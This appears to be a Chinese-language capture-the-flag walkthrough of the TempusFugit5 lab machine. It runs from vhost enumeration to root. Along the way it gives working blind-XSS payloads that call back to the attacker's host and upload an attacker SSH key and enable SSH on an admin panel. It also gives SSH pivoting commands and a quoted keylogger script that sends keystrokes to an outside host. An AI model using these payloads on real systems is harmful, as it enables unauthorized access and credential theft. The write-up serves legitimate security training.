OSCP-TempusFugit5

教学视频红队笔记

kali:192.168.174.132

靶机:192.168.174.139(好看的界面),省了主机发现的过程

image-20260723230954557

端口扫描

sudo nmap --min-rate 10000 -p- 192.168.174.139 -oA TempusFugit5/ports

image-20260723231934617

开放了80端口,尝试在浏览器中访问

image-20260723232144627

nginx的默认主页,邮件地址暴露出域名mofo.org,手动做一下映射

echo "192.168.174.139 mofo.org" | sudo tee -a /etc/hosts 

子域爆破

gobuster vhost \
-u http://192.168.174.139 \
--domain mofo.org \
--append-domain \
-w /usr/share/dnsrecon/dnsrecon/data/subdomains-top1mil.txt \
-o gobuster_mofo_vhost.txt \
-a 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html' \
-H 'Accept-Language: en-US' \
-t 50

获取浏览器的指纹信息,F12,console

copy(navigator.userAgent)

或者到network刷新一下,选中网页

image-20260724000818919

保存到记事本中,选择需要的保留

curl 'http://192.168.174.139/' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'Accept-Encoding: gzip, deflate' \
-H 'Connection: keep-alive' \
-H 'Upgrade-Insecure-Requests: 1' \
-H 'If-Modified-Since: Mon, 24 Feb 2020 19:13:42 GMT' \
-H 'If-None-Match: W/"5e542066-274"' \
-H 'Priority: u=0, i'

找到status为200,403的结果

  • 高价值(优先验证): 200, 301, 302, 401, 403
  • 中价值(可能有效): 400, 405, 406, 407
  • 低价值(大概率无效): 404, 500, 502, 503, 504
grep -E "Status: (200|403)" gobuster_mofo_vhost.txt

image-20260724001717236

把有效的域名也加到hosts里

192.168.174.139 mofo.org admin.mofo.org www.mofo.org WWW.mofo.org snap.mofo.org ADMIN.mofo.org

web应用分析

首先访问admin的域名,被限制了,尝试访问其它页面

image-20260724002216670

访问主页

image-20260724002446338

发现蓝色的字的意思是

我们正在开发的新产品“Snap”将让客户能够监控自己的网站,并即时拍摄网站快照。我们对此非常期待。如果您希望参与测试,请与我们联系。

且contact存在一个链接,查看后发现mail的用户名

image-20260724183211113

记录一下

mailto:hugh.janus@mofo.org

页面最底下还有个源作者信息,访问一i西安

image-20260724183927863

image-20260724184102222

一个CMS系统,可能存在已知漏洞,可以先搜索一下,发现存在

  • CVE-2022-2073
  • CVE-2021-21425
  • CVE-2024-28115

发现利用大都要进入到管理界面进行模板注入,类似FLASK,倒是可以快速获得管理界面的路径,管理界面又限制了ip,还有个security的界面访问看一下啊

image-20260724183423281

我们以往的错误让我们明白,绝不能将任何信息暴露在互联网上。目前,所有管理功能均被隔离在本地网络内部,仅对本网络内的用户开放。

进一步访问snap的域名,估计可以获取到网页快照

image-20260724002622070

尝试把admin的域名输入,ssh,key,可能要用到ssh爆破

image-20260724182606460

再尝试其它路径

image-20260724184927259

这个页面需要上传什么密钥,再尝试其它的

image-20260724185027760

发现了前面获得的Hugh Janus,但都是离线的,只有Anita Hanjaab是在线的,且还有地址,但应该是内网环境

image-20260724191236808

logs一个是ssh未激活,没有上传key,应该要同时满足这两个条件才可以访问日志,这些都没办法交互,右上角还有一个support,尝试访问

image-20260724191507790

输入测试一下,返回

image-20260724191725268

抓包看一下(用bp后面会卡,可以下一个caido),有没有其它突破口

image-20260724192352804

可以看到还有个_csrf的的值,这可能是为了防止csfr攻击的,尝试修改一下,发现没有这个值也可以成功返回

image-20260724192942590

XSS盲打

本地设置个文件服务器

goshs -i 192.168.174.132 -p 80

准备好回连payload

<img src='http://192.168.174.132/subject-html-001'>
<img src='http://192.168.174.132/subject-html-002'>
<img src='http://192.168.174.132/subject-html-003'>

image-20260724194540817

过了一会发现003的payload有反应,进一步对csrf字段测试,注意编码

<img src=x onerror="new Image().src='http://192.168.174.132/subject-xss-003?u='+encodeURIComponent(location.href)">

image-20260724195118243

可以看到事件被触发了,这里考虑尝试上传ssh密钥

ssh-keygen -t rsa -b 4096 -f ./id_rsa -C "tempusfugit"

结合前面的upload your key来盲打

image-20260724184927259

// 创建一个 XMLHttpRequest 对象,用于发送 HTTP 请求
var xhr = new XMLHttpRequest();
// 创建一个 FormData 对象,用于构造 multipart/form-data 表单数据
var fd = new FormData();

// 定义 SSH 公钥内容(攻击者的公钥,用户名注释为 tempusfugit)
var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNohdsi2a4pI4bCGikymShAEHO86sjEl8bBJE5IcGvzxumwqqNdoTVewjMkYQX693lJY51NoUUyDt8FOOxU4AqM7LU7yvvHkoDcuBCiPOw9NpWjhG/TbsPzIC/Qd1y4PRctmc6ObN4nPE6iS7Egm0ONeFvBfD061Mu2edcGGY7XL/PkSu2+my7McOOaXHN1mJYgPHUOzjQc+QUbeAlDkyEd9JNAPFJ655YCV+Jb3h+PWk3smOOdZnh29+Rf4fMZYdY3qgezvd02j63w1HWBHoMU5FlG5UBrkhp7DWuwnY+58vYWC8fCLljZgLDiX0i/n22CRZurGsn+TGbJrKVMKD4osImxRCxLvAH2YXNCP0qYgg96wjDQEbIo+NIDu3PzZ3ELNZasgnRq+wDiE05aZ0jtdbfy1gDJveoEEJyMaHnZD4D3A/VvorN4jPiJWlEvV+QyJAWLUdjSNb0jwdbeoRVxEEVD7ItPFrQFX3fdv8qW0ZjIXO3kswNklfhSRt2u4xc2B0KzdctL0qsgrddg/fw/YZp81rL3RmSGWH/rDCNCP7ZOzUCuO04cCybjf3CJ3BiiInOrAIOvicKwLLjkn/OFyJ9KrDbL2dfW7a5LNIxLuq37W+OqfP+HNaZIYzSU4gFyJ/jZNm+y3xeIkxb0SmgKzOB1ksmuK1iIy8q51xD8w== tempusfugit';
// 将 SSH 公钥字符串封装成 Blob 对象,MIME 类型设为通用二进制流
var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });
// 向 FormData 添加文件字段:字段名'file',内容fileBlob,文件名'id_rsa.pub'
fd.append('file', fileBlob, 'id_rsa.pub');
// 添加 Submit 字段,模拟点击提交按钮
fd.append('Submit', 'Submit');
// 配置 POST 请求:同步模式(false),发送到 admin.mofo.org 的 /key 端点
xhr.open('POST', 'http://admin.mofo.org/key', false);
// 发送表单数据到目标服务器
xhr.send(fd);

//弄成一行
var xhr = new XMLHttpRequest();var fd = new FormData();var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNohdsi2a4pI4bCGikymShAEHO86sjEl8bBJE5IcGvzxumwqqNdoTVewjMkYQX693lJY51NoUUyDt8FOOxU4AqM7LU7yvvHkoDcuBCiPOw9NpWjhG/TbsPzIC/Qd1y4PRctmc6ObN4nPE6iS7Egm0ONeFvBfD061Mu2edcGGY7XL/PkSu2+my7McOOaXHN1mJYgPHUOzjQc+QUbeAlDkyEd9JNAPFJ655YCV+Jb3h+PWk3smOOdZnh29+Rf4fMZYdY3qgezvd02j63w1HWBHoMU5FlG5UBrkhp7DWuwnY+58vYWC8fCLljZgLDiX0i/n22CRZurGsn+TGbJrKVMKD4osImxRCxLvAH2YXNCP0qYgg96wjDQEbIo+NIDu3PzZ3ELNZasgnRq+wDiE05aZ0jtdbfy1gDJveoEEJyMaHnZD4D3A/VvorN4jPiJWlEvV+QyJAWLUdjSNb0jwdbeoRVxEEVD7ItPFrQFX3fdv8qW0ZjIXO3kswNklfhSRt2u4xc2B0KzdctL0qsgrddg/fw/YZp81rL3RmSGWH/rDCNCP7ZOzUCuO04cCybjf3CJ3BiiInOrAIOvicKwLLjkn/OFyJ9KrDbL2dfW7a5LNIxLuq37W+OqfP+HNaZIYzSU4gFyJ/jZNm+y3xeIkxb0SmgKzOB1ksmuK1iIy8q51xD8w== tempusfugit';var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });fd.append('file', fileBlob, 'id_rsa.pub');fd.append('Submit', 'Submit');xhr.open('POST', 'http://admin.mofo.org/key', false);xhr.send(fd);
//填充到onerror后面,再次发送
<img src=x onerror="var xhr = new XMLHttpRequest();var fd = new FormData();var sshKeyContent = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCNohdsi2a4pI4bCGikymShAEHO86sjEl8bBJE5IcGvzxumwqqNdoTVewjMkYQX693lJY51NoUUyDt8FOOxU4AqM7LU7yvvHkoDcuBCiPOw9NpWjhG/TbsPzIC/Qd1y4PRctmc6ObN4nPE6iS7Egm0ONeFvBfD061Mu2edcGGY7XL/PkSu2+my7McOOaXHN1mJYgPHUOzjQc+QUbeAlDkyEd9JNAPFJ655YCV+Jb3h+PWk3smOOdZnh29+Rf4fMZYdY3qgezvd02j63w1HWBHoMU5FlG5UBrkhp7DWuwnY+58vYWC8fCLljZgLDiX0i/n22CRZurGsn+TGbJrKVMKD4osImxRCxLvAH2YXNCP0qYgg96wjDQEbIo+NIDu3PzZ3ELNZasgnRq+wDiE05aZ0jtdbfy1gDJveoEEJyMaHnZD4D3A/VvorN4jPiJWlEvV+QyJAWLUdjSNb0jwdbeoRVxEEVD7ItPFrQFX3fdv8qW0ZjIXO3kswNklfhSRt2u4xc2B0KzdctL0qsgrddg/fw/YZp81rL3RmSGWH/rDCNCP7ZOzUCuO04cCybjf3CJ3BiiInOrAIOvicKwLLjkn/OFyJ9KrDbL2dfW7a5LNIxLuq37W+OqfP+HNaZIYzSU4gFyJ/jZNm+y3xeIkxb0SmgKzOB1ksmuK1iIy8q51xD8w== tempusfugit';var fileBlob = new Blob([sshKeyContent], { type: 'application/octet-stream' });fd.append('file', fileBlob, 'id_rsa.pub');fd.append('Submit', 'Submit');xhr.open('POST', 'http://admin.mofo.org/key', false);xhr.send(fd);">

image-20260724200733770

image-20260724200638824

可以看到文件成功上传,后续尝试激活ssh,再根据界面enable ssh,尝试修改payload

<img src=x onerror="
// 创建 XMLHttpRequest 对象,用于发送 AJAX 请求
var xhr = new XMLHttpRequest();

// 初始化 POST 请求:同步模式(false),发送到 admin.mofo.org 根路径
xhr.open('POST','http://admin.mofo.org/',false);

// 设置请求头:Content-Type 为表单编码格式
// 注意:这里手动设置 Content-Type 会导致浏览器不自动添加 boundary
xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');

// 发送 POST 数据:启用 SSH 服务
xhr.send('Submit=Enable+SSH');
">
//全部都url编码
<img src=x onerror="var xhr = new XMLHttpRequest();xhr.open('POST','http://admin.mofo.org/',false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send('Submit=Enable+SSH');">

image-20260724201555327

这时候去进行ssh连接会连不上,因为不是默认的22端口,再次进行扫描发现在2222端口

image-20260724201756365

image-20260724201843180

先用key界面的默认的ctoress登录

sudo ssh -i id_rsa ctorres@192.168.174.139 -p 2222

image-20260724202219783

登录失败,这里的stepping stone一般指的是跳板机,结合staff的状态,我们需要先连跳板机,再通过跳板机连接目标

sudo ssh -i id_rsa -J ctorres@192.168.174.139:2222 ctorres@192.168.150.1

image-20260724202936339

连接失败,我们尝试查看连接日志

sudo ssh -i id_rsa -J ctorres@192.168.174.139:2222 ctorres@192.168.150.1

搜了下,使用 sudo 后,SSH 在 /root/.ssh/ 下找密钥,而不是你当前用户的 ~/.ssh/,把当前目录的id_rsa拷贝到 ~/.ssh/,然后不用sudo

ssh -i id_rsa -J ctorres@192.168.174.139:2222 ctorres@192.168.150.1 

image-20260724203919040

邮件枚举

获取一下信息,whoami、id、hostname、pwd、ls -liah

image-20260724204041157

发现you have mail,尝试看一下Mail,sent的内容,发现sent里有很多邮件

image-20260724210918495

可以看到mutt,这是linux的命令行邮件客户端,可以尝试直接mutt,用命令行查看邮件

mutt -f ./sent

image-20260724211519267

上下选择邮件,回车查看,q退出

image-20260724211545719

我们发现hugh和sysetm admin有关联,继续查看邮件

image-20260724211814202

发现相关信息,查看hosts文件

image-20260724211921272

用curl 查看一下页面内容

image-20260724212052988

document.onkeypress = function logKey(k) { new Image().src='http://192.168.150.1:4444/keylog.php?key='+k.which; }

在该页面上敲的每个字,都会被实时发送给攻击者。 包括密码、账号、私信内容等一切输入,所以我们尝试候去一下这个地址的键盘输入

python3 -m http.server --bind 192.168.150.1 4444 | tee keylog

image-20260724212701409

python3 -u -m http.server --bind 192.168.150.1 4444 2>&1 | tee -a keylog

image-20260724221248189

@TempusFugit5:~$ grep -oP 'key=\K\d+' keylog | awk '{printf "%c", $1}'; echo
hjanusisHi5CmhKNl9Tr0vVBhjanusisHi5CmhKNl9Tr0vVBhjanusisHi5CmhKNl9Tr0vVBhjanusisHi5CmhKNl9Tr0vVB
# 转化成字符,去除重复部分hjanusisHi5CmhKNl9Tr0vVB
# hjanus:Hi5CmhKNl9Tr0vVB
# hjanus:isHi5CmhKNl9Tr0vVB

端口转发

ssh -i id_rsa -J ctorres@192.168.174.139:2222 \
-N -f \
-L 80:192.168.150.15:80 \
ctorres@192.168.150.1
ssh SSH 客户端命令 建立安全 shell 连接
-i id_rsa 指定私钥文件 使用 id_rsa 私钥进行身份认证(免密码登录)
-J ctorres@192.168.174.139:2222 跳板机(ProxyJump) 先 SSH 连接到 192.168.174.139:2222(跳板机),再通过它连接到最终目标机
-N 不执行远程命令 仅建立连接,不打开远程 shell(适合端口转发)
-f 后台运行 SSH 连接建立后转到后台运行(不占用终端)
-L 8080:localhost:80 本地端口转发 将本地的 8080 端口转发到目标机的 localhost:80(即目标机自己的 80 端口)
ctorres@192.168.150.1 最终目标机 经过跳板机后,最终连接到的机器

访问本地的80端,输入用户名和密码

image-20260724223406101

登陆后可以看到root的密码

image-20260724230025017

然后再登录到ctorres,登录root

image-20260724230335316